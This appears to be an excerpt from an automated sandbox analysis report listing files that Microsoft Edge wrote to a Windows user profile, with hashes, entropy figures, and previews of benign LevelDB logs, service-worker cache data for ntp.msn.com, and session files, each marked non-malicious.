Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.832562795947518
Encrypted:	false
SSDEEP:	48:F2emStrdD/fBNLXrdYxGrdDaBNOrdRBNC:F1mStxD/jbxYxGxDeOxRC
MD5:	A1851539EF49887966832E5CB26C203A
SHA1:	A161D8AFA1BA3CDF0AB521A27590C1E340BCDA8B
SHA-256:	31E1C1E111522DB68824F9592BE74648E9A01748B3D8033768B20942FBED24F7
SHA-512:	DBEE67E373633B4748B2A140C50986C651CD0E33C179B8D6B71343A0933F9C52DB2AEC9D95BA8A3112CDBEA9F4766261C8FCABF58DE65AE86C82B13079ADABA2
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2Sfa.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.167779968403707
Encrypted:	false
SSDEEP:	6:HM4V7RM1cNwi23oH+TcwtE/a252KLlVM4VR2yq2PcNwi23oH+TcwtE/a2ZIFUv:s4VN2ZYeb8xLk4VR2yvLZYeb8J2FUv
MD5:	E58F9C8896EC6A4544292D0B8B2AFC1A
SHA1:	6E77EC2DCBE3010F08FC3A48BE2260EF208012A5
SHA-256:	D2C552380AE17FBCAB1339701072131D8B67F1C57FBFEB539447C4FC8C44B0F5
SHA-512:	D431E8524544B5D58165BD9CDAE53A57BD1C670A673A02FB26DCB1BEB87FF417699A4C0AC6007478572759F2AD27929D293473057B8137572B8ED9AC21637859
Malicious:	false
Preview:	2024/11/28-06:50:04.330 15c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/28-06:50:04.343 15c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114380
Entropy (8bit):	5.579086978765821
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgFmqi:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFzi
MD5:	4F56C2921DDC1AC662F2C60E9ADB3B39
SHA1:	443BB0D599D7F2641BF813878416C8087BAB0F24
SHA-256:	6AA944F9E50CE8D9D26B3F967676157BF364370B66BD729011664E746481027D
SHA-512:	67D1295DD6B532713252CD2764457950605BB730786618B76FE4CBB47ECD4F23EADE07CF80037224CCCCCA62701F20E5D6C8A634A21AB05F249B7239789C4B56
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.385874307062068
Encrypted:	false
SSDEEP:	3072:aVvFCChBgTCw8n1p855L/xC9MiWa60mX/Tf/RzZG7NA:oqCwu8DL/UxZmPThlWS
MD5:	2DB743B54C3D94496F47D674EAE6246E
SHA1:	58300C4E5C097599170D6A6C9A5DD12977119BB5
SHA-256:	B4D3E1E27D94BD8C7F2DE0F9DF37C9C63C151C1FE6E51AAD33D35B037E78DF99
SHA-512:	D52A3BE40C88036624910D162EE7A55DCC2B3E98E4BB137F9CAB7A07C519D1E27F593A7A8D5031A627B141739B0509B55B680F9FAFBE57B811F6C99F5B2CF94F
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.p........,T.8..`,.....L`.....,T...`......L`......RcN ......exports...Rc:,......module....Rc......define....Rb...&....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.&..tb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:WSJ00Xl/ly/l9/lxEYa/lQGXe:WkjmOvQAe
MD5:	62200EC7C9A3B2AB3AABB2D4E47880AE
SHA1:	64A31FF2F0B9FDC5F88A73612142C5C2262E1F0B
SHA-256:	62161C7CB775CB1865B8E73C39B0AC96B52B881EDC017435C00595D62D505532
SHA-512:	8D935BCFC7DB3AA0339DC5A72B4A604302134CEFF7CA910CD5D38835B9F9783EBC1E5D9097AC1BD0ECD3243562AF9A7A89D41CEC7971BB5A7C0D59C81F5F9743
Malicious:	false
Preview:	@....w.oy retne.........................X....,.................#r.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:WSJ00Xl/ly/l9/lxEYa/lQGXe:WkjmOvQAe
MD5:	62200EC7C9A3B2AB3AABB2D4E47880AE
SHA1:	64A31FF2F0B9FDC5F88A73612142C5C2262E1F0B
SHA-256:	62161C7CB775CB1865B8E73C39B0AC96B52B881EDC017435C00595D62D505532
SHA-512:	8D935BCFC7DB3AA0339DC5A72B4A604302134CEFF7CA910CD5D38835B9F9783EBC1E5D9097AC1BD0ECD3243562AF9A7A89D41CEC7971BB5A7C0D59C81F5F9743
Malicious:	false
Preview:	@....w.oy retne.........................X....,.................#r.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2e9f8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:WSJ00Xl/ly/l9/lxEYa/lQGXe:WkjmOvQAe
MD5:	62200EC7C9A3B2AB3AABB2D4E47880AE
SHA1:	64A31FF2F0B9FDC5F88A73612142C5C2262E1F0B
SHA-256:	62161C7CB775CB1865B8E73C39B0AC96B52B881EDC017435C00595D62D505532
SHA-512:	8D935BCFC7DB3AA0339DC5A72B4A604302134CEFF7CA910CD5D38835B9F9783EBC1E5D9097AC1BD0ECD3243562AF9A7A89D41CEC7971BB5A7C0D59C81F5F9743
Malicious:	false
Preview:	@....w.oy retne.........................X....,.................#r.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	432
Entropy (8bit):	4.336317634515353
Encrypted:	false
SSDEEP:	12:S+a8ljljljljlpllcbmbUYfCMeyI9hdSkAvkAvkAv:Ra0ZZZZpllcbmb6RhdSk8k8k8
MD5:	A118D92C51AC512CAE44BEAFC176ADCC
SHA1:	62AF5E9EBF7BEF3D180610A3F0DF171A8FDCB45E
SHA-256:	6A8CCB5CE1762819D2FC2B9974052ABB050E726F9D2154B420A687340005E10E
SHA-512:	061B80EAE3223BB77818E37396EE528FDB8DBF278F2F930C2EFAFE2A6CF9DB3CE27658F33371637FA49A0A2C7E90E4789EE4980A1F984C395D4DEDED19D145D0
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................HJqb................next-map-id.1.Cnamespace-50bfaf9c_8ef9_4fb1_b3ca_4afd3690f481-https://ntp.msn.com/.0..g.k................map-0-shd_sweeper8{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".g.h.o.l.d.o.u.t.".}...map-0-storageTest. .................. .................. .................. .................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.200199725417941
Encrypted:	false
SSDEEP:	6:HMbEYQyq2PcNwi23oH+TcwtrQMxIFUt8YMbDIG1Zmw+YMblSSQRkwOcNwi23oH+L:s4YVvLZYebCFUt8BAG1/+BTI54ZYebtJ
MD5:	45E738DC6AEF0C58D5D7787AE12B9000
SHA1:	BE01A961816ACBCCAFE2A7019390B77DFBFD91B1
SHA-256:	98B48CDD0EEEE17265C93EBB1B2837AC0D020EC6BE8271874E95A9190FC0DED5
SHA-512:	8793341E4DEEC3D42456C930768D24E4C11867F7F9F1E89F1F4CD2861D80CDACCC2E7915DA1F664DB4C3D8C732A35EADCC82DE4902F6057C63899A12BBD5104B
Malicious:	false
Preview:	2024/11/28-06:49:47.768 1f30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-06:49:47.770 1f30 Recovering log #3.2024/11/28-06:49:47.773 1f30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.200199725417941
Encrypted:	false
SSDEEP:	6:HMbEYQyq2PcNwi23oH+TcwtrQMxIFUt8YMbDIG1Zmw+YMblSSQRkwOcNwi23oH+L:s4YVvLZYebCFUt8BAG1/+BTI54ZYebtJ
MD5:	45E738DC6AEF0C58D5D7787AE12B9000
SHA1:	BE01A961816ACBCCAFE2A7019390B77DFBFD91B1
SHA-256:	98B48CDD0EEEE17265C93EBB1B2837AC0D020EC6BE8271874E95A9190FC0DED5
SHA-512:	8793341E4DEEC3D42456C930768D24E4C11867F7F9F1E89F1F4CD2861D80CDACCC2E7915DA1F664DB4C3D8C732A35EADCC82DE4902F6057C63899A12BBD5104B
Malicious:	false
Preview:	2024/11/28-06:49:47.768 1f30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/28-06:49:47.770 1f30 Recovering log #3.2024/11/28-06:49:47.773 1f30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377268189405908

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.808548180696986
Encrypted:	false
SSDEEP:	24:3fsnnVembQNmlhKSxWY9psAF4unxV6FtLp3X2amEtG1ChqzfyspQKkOAM4:3OVXQNmnKSxb9zFYPLp2FEkChuHaHOp
MD5:	D17604607AAABD68EBBAFBCC337C2235
SHA1:	461320A1EE07F08896FD6D04430FB3E82513D105
SHA-256:	2D8157F8F1F990950064D8CB81597F7566513FD438B2B6A68215FC94E5569F21
SHA-512:	E3537330FC3EF468B6271203DACB5502214ED3518AA3302EB25E50798BF7FBF714923E091D734CD5BA751E2926296B9AA056D6CEF7BE3601E23E42FA93B752BC
Malicious:	false
Preview:	SNSS........9J.............9J.......".9J.............9J.........9J.........9J.........9J.....!...9J.................................9J..9J.1..,....9J.$...50bfaf9c_8ef9_4fb1_b3ca_4afd3690f481....9J.........9J......o..........9J.....9J.........................9J.....................5..0....9J.&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}......9J.........9J............................9J.............9J.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......t....'..u....'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.170490141935219
Encrypted:	false
SSDEEP:	6:HMbmSQWM+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YMb1G1Zmw+YMb1QWMVkwOcNwi20:s9Q+vLZYebIhHh2FUt8BxG1/+BxQV54C
MD5:	79B1F4409B2FF2FE927EB063FB103CEC
SHA1:	62E7E9EC5603626BB119283E4C6BD0A91E866CC2
SHA-256:	07D8C1EAF520AC9C03C739A6DDCA78CC89E314BA975EFEA21E54247CCDF79DB5
SHA-512:	118DA50A8F3D2322A18212D7A4B686F7ADD90E56430E7EDE127C2E80F8DE9E7A8B44968D256222CB40BB373E11B1EA85D350785F5E64C5A4A091132BF29EDDF9
Malicious:	false
Preview:	2024/11/28-06:49:47.039 7ac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-06:49:47.040 7ac Recovering log #3.2024/11/28-06:49:47.040 7ac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.170490141935219
Encrypted:	false
SSDEEP:	6:HMbmSQWM+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YMb1G1Zmw+YMb1QWMVkwOcNwi20:s9Q+vLZYebIhHh2FUt8BxG1/+BxQV54C
MD5:	79B1F4409B2FF2FE927EB063FB103CEC
SHA1:	62E7E9EC5603626BB119283E4C6BD0A91E866CC2
SHA-256:	07D8C1EAF520AC9C03C739A6DDCA78CC89E314BA975EFEA21E54247CCDF79DB5
SHA-512:	118DA50A8F3D2322A18212D7A4B686F7ADD90E56430E7EDE127C2E80F8DE9E7A8B44968D256222CB40BB373E11B1EA85D350785F5E64C5A4A091132BF29EDDF9
Malicious:	false
Preview:	2024/11/28-06:49:47.039 7ac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/28-06:49:47.040 7ac Recovering log #3.2024/11/28-06:49:47.040 7ac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlZ//:/M/xT02zE
MD5:	A690711FBFD22A4FEBCB8A575E890A5A
SHA1:	E142F68D500E7C5756AD47D4E3AAE201BDFA5770
SHA-256:	601808B099A71615ADA3627272F26BE1C34F32D438FF95EDC8293D5B13DDBE89
SHA-512:	58AA09491AE2996285B444DD28058FC42268FC7BB35B2074B20BA762D6F953838B363DE5998EAE5352929C71FFFCDABCDD6D4955119F7B9876E261C95ADC2607
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.259034936433689
Encrypted:	false
SSDEEP:	12:s7M+vLZYebvqBQFUt8BcF/+B+MV54ZYebvqBvJ:alYebvZg8/oYebvk
MD5:	AA13ED4E5059BF72E25523EA32A06DDA
SHA1:	1D8F8D782BB62073D25DE0AC35B4CEEEB31F30B7
SHA-256:	3609AC71D61AF304197913769ADAAE063C6A7A0A47A4022E77FF763A437D6175
SHA-512:	5FF37DFD7D3687024C1043776F8D97A4C0932B69775D98F94F8E43EDB3184A635CC6A6470D5CB43853AF5A078E6C09A284C9D36EF805EF43AF2700A6ADD22F29
Malicious:	false
Preview:	2024/11/28-06:49:47.726 1dfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-06:49:47.737 1dfc Recovering log #3.2024/11/28-06:49:47.774 1dfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.259034936433689
Encrypted:	false
SSDEEP:	12:s7M+vLZYebvqBQFUt8BcF/+B+MV54ZYebvqBvJ:alYebvZg8/oYebvk
MD5:	AA13ED4E5059BF72E25523EA32A06DDA
SHA1:	1D8F8D782BB62073D25DE0AC35B4CEEEB31F30B7
SHA-256:	3609AC71D61AF304197913769ADAAE063C6A7A0A47A4022E77FF763A437D6175
SHA-512:	5FF37DFD7D3687024C1043776F8D97A4C0932B69775D98F94F8E43EDB3184A635CC6A6470D5CB43853AF5A078E6C09A284C9D36EF805EF43AF2700A6ADD22F29
Malicious:	false
Preview:	2024/11/28-06:49:47.726 1dfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/28-06:49:47.737 1dfc Recovering log #3.2024/11/28-06:49:47.774 1dfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\32efac19-393c-4329-a6f5-354db7999b50.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\48a34fdb-2f3c-46d5-a980-fab32e24e158.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

